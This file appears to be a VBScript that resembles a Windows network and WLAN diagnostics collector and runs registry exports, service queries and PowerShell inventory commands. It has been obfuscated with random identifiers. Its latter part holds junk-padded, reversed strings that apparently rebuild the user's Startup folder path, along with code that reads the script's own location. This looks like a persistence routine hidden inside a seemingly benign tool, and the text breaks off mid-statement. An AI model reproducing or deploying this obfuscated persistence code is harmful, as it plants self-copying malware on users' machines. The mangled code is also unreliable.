cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupListener " & outputFileName & " /y /Reg:64"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetHomeGroupProvider(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupProvider " & outputFileName & " /y /Reg:64"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetServiceLogInfo(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c sc.exe queryex nativewifip >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c sc.exe qc nativewifip >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex wlansvc >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c sc.exe qc wlansvc >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex dhcp >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
cmd = "cmd /c sc.exe qc dhcp >> " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetPowershellInfo(outputFileName)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "powershell -command " & _
"$net_adapter=(Get-NetAdapter -IncludeHidden); " & _
"$output= ($net_adapter); " & _
"$output += ($net_adapter | fl *); " & _
"$output += (Get-NetAdapterAdvancedProperty | fl); " & _
"$net_adapter_bindings=(Get-NetAdapterBinding -IncludeHidden); " & _
"$output += ($net_adapter_bindings); " & _
"$output += ($net_adapter_bindings | fl); " & _
"$output += (Get-NetIpConfiguration -Detailed); " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Resolve-DnsName bing.com); " & _
"$output += (ping bing.com -4); " & _
"$output += (ping bing.com -6); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed -CommonTCPPort HTTP); " & _
"$output += (Get-NetRoute); " & _
"$output += (Get-NetIPaddress); " & _
"$output += (Get-NetLbfoTeam); " & _
"$output += (Get-Service -Name:VMMS); " & _
"$output += (Get-VMSwitch); " & _
"$output += ""(Get-VMNetworkAdapter -all)""; " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Get-WindowsOptionalFeature -Online); " & _
"$output += (Get-Service | fl); " & _
"$pnp_devices = (Get-PnpDevice); " & _
"$output += ($pnp_devices); " & _
"$output += ($pnp_devices | Get-PnpDeviceProperty -KeyName DEVPKEY_Device_InstanceId,DEVPKEY_Device_DevNodeStatus,DEVPKEY_Device_ProblemCode); " & _
"$output | Out-File " & outputFileName
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetExistingFile(inputFileName, outputDirectory)
On Error Resume Next
dim outputPath
outputPath = outputDirectory & "\"
outputPath = Replace(outputPath, "\\", "\")
If WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FileExists(inputFileName) Then
WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.CopyFile inputFileName, outputPath
End If
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix, fileSuffix)
On Error Resume Next
exists = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FolderExists(inputpath)
if (exists) then
Set objFolder = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
end if
Next
end if
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix)
On Error Resume Next
exists = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FolderExists(inputpath)
if (exists) then
Set objFolder = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
Next
end if
End Sub
Sub GetPantherFiles(inputPath, outputPath, outputFilePrefix, filePrefix, fileSuffix)
On Error Resume Next
exists = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FolderExists(inputpath)
if (exists) then
Set objFolder = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetFolder(inputpath)
Set colFiles = objFolder.Files
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
'add prefix to output file to avoid copying over files with identical names
WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & outputFilePrefix & objFile.Name
end if
end if
Next
end if
End Sub
Sub GetWlanReport(outputPath)
On Error Resume Next
dim wlanOutputPath
wlanOutputPath = shell.ExpandEnvironmentStrings("%programdata%\") & "Microsoft\Windows\WlanReport\"
exists = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FolderExists(wlanOutputPath)
if (exists) then
Set objFolder = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetFolder(wlanOutputPath)
objFolder.Delete True
end if
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show wlanreport"
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
Set colFiles = objFolder.Files
For Each objFile in colFiles
Call GetExistingFile(wlanOutputPath & objFile.Name, outputPath)
Next
End Sub
Sub GetBatteryReport(batteryReportFilename)
On Error Resume Next
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c powercfg.exe /batteryreport /output " & batteryReportFilename
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run cmd, 0, True
End Sub
Sub GetLatestNdfSessionEtlFile(inputPath, outputPath, filePrefix, fileSuffix)
currentDirectory = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetAbsolutePathName(".")
dirParts = Split(currentDirectory, "\")
drive = dirParts(0)
usersFolder = dirParts(1)
username = dirParts(2)
fullInputPath = drive + "\" + usersFolder + "\" + username + "\" + inputPath
exists = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.FolderExists(fullInputPath)
if (exists) then
Set objFolder = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetFolder(fullInputPath)
Set colFiles = objFolder.Files
Set mostRecent = Nothing
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
if (mostRecent is Nothing) THEN
Set mostRecent = objFile
elseif (objFile.DateLastModified > mostRecent.DateLastModified) THEN
Set mostRecent = objFile
end if
end if
end if
Next
if NOT (mostRecent is Nothing) THEN
Call GetExistingFile(fullInputPath & mostRecent.Name, outputPath)
end if
end if
End Sub
On Error Resume Next
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
UpLhNWUKpWHmPpyXchcWdykHprNHGRHKPHBKyXDOxWKkRPRRxxAbpiBQKHKaBDxZkcpcmNLKPKYPDpYRDWiWkXiaOPexPLcpKrDp = "pu
UpLhNWUKpWHmPpyXchcWdykHprNHGRHKPHBKyXDOxWKkRPRRxxAbpiBQKHKaBDxZkcpcmNLKPKYPDpYRDWiWkXiaOPexPLcpKrDp = BQGGGZEMDQ(UpLhNWUKpWHmPpyXchcWdykHprNHGRHKPHBKyXDOxWKkRPRRxxAbpiBQKHKaBDxZkcpcmNLKPKYPDpYRDWiWkXiaOPexPLcpKrDp,"
](","t")
UpLhNWUKpWHmPpyXchcWdykHprNHGRHKPHBKyXDOxWKkRPRRxxAbpiBQKHKaBDxZkcpcmNLKPKYPDpYRDWiWkXiaOPexPLcpKrDp = ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD(ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD(ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD(UpLhNWUKpWHmPpyXchcWdykHprNHGRHKPHBKyXDOxWKkRPRRxxAbpiBQKHKaBDxZkcpcmNLKPKYPDpYRDWiWkXiaOPexPLcpKrDp)))
aIPnNikSGaXsPLuctntvauMhBcLkcqXqxIShuWwUtSiqckUctvJILtUoGhiUSKjSMNBXnLcUWGvxGKvWwPtHiUtUywGOUbttLDXK = "rq"
QHHDXCQHGXQDNTXFQPTDZPS
HODWNDKLCNFZXDTQKZGTLJJTPMJHVPBOJDWFRYFQJNNTSTSDOJM
UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNc = ""
if 0 then
Dim UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNco
Set UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNco = CreateObject("WScript.Shell")
Dim WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI
Set WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI = CreateObject("Scripting.FileSystemObject")
Dim UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNc
UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNc = WMNRcHKbQRRhLuNDIwAivlQHGGCAfwTKUUxXeYCwxQbYweGovIUBywRHUiPUewLYKceijLfcKYKhwQLeKqbPliHPWaucwwPHIIpI.GetAbsolutePathName(WScript.ScriptFullName)
Dim YfduOjaWxOryCfLWXuXccLUXHWHaDjrcIeeeLUPRpoIKqgWqplUfZnrAGXIKrnyXUPHBmHDBQGXItNXDPCnPhAnKaPyKRcXpGOON
YfduOjaWxOryCfLWXuXccLUXHWHaDjrcIeeeLUPRpoIKqgWqplUfZnrAGXIKrnyXUPHBmHDBQGXItNXDPCnPhAnKaPyKRcXpGOON = UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNc
dim TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO
dim acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU
dim lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ
dim lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ34
lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ34 = "+4
^}#(*(@
##@#}4^
^@#(@]
dim cLzAqoUwNLDHTfPGcAcYLPWxkGrUKLDejncSPlNtsbHiUdsUsPHLtlPZqxHrhLeLWAkUWrKGaqnjXynPNTlcRUlrLNANtOcshDcy
cLzAqoUwNLDHTfPGcAcYLPWxkGrUKLDejncSPlNtsbHiUdsUsPHLtlPZqxHrhLeLWAkUWrKGaqnjXynPNTlcRUlrLNANtOcshDcy = ""
TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO = ")'sbv." + aIPnNikSGaXsPLuctntvauMhBcLkcqXqxIShuWwUtSiqckUctvJILtUoGhiUSKjSMNBXnLcUWGvxGKvWwPtHiUtUywGOUbttLDXK + " \pu+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4atS\sm+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4gor+4
^}#(*(@
##@#}4^
^@#(@]
4P\u+4
^}#(*(@
##@#}4^
^@#(@]
TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO = TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO + " tra+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4S\s+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4dniW\t+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4rci+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4M\g+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4aoR\a+4
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
^}#(*(@
##@#}4^
^@#(@]
4pA\+4
^}#(*(@
##@#}4^
^@#(@]
TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO = dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ(dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ( TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO , lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ34 , cLzAqoUwNLDHTfPGcAcYLPWxkGrUKLDejncSPlNtsbHiUdsUsPHLtlPZqxHrhLeLWAkUWrKGaqnjXynPNTlcRUlrLNANtOcshDcy ),TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO,TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO)
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU = "
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU = acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU + "
+y('"
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU = acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU + UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNc + "',"
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU = acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU + "'C
+ers\'
dim OtOKkNyRmXTwRpinTKTzmiGtPnmyuaTCKedWiwkiqKULOUsOqSftRUfLPtUHzvXTGZPkImulSPTKOcTWkRUOyRUHekWwizTqBUvc
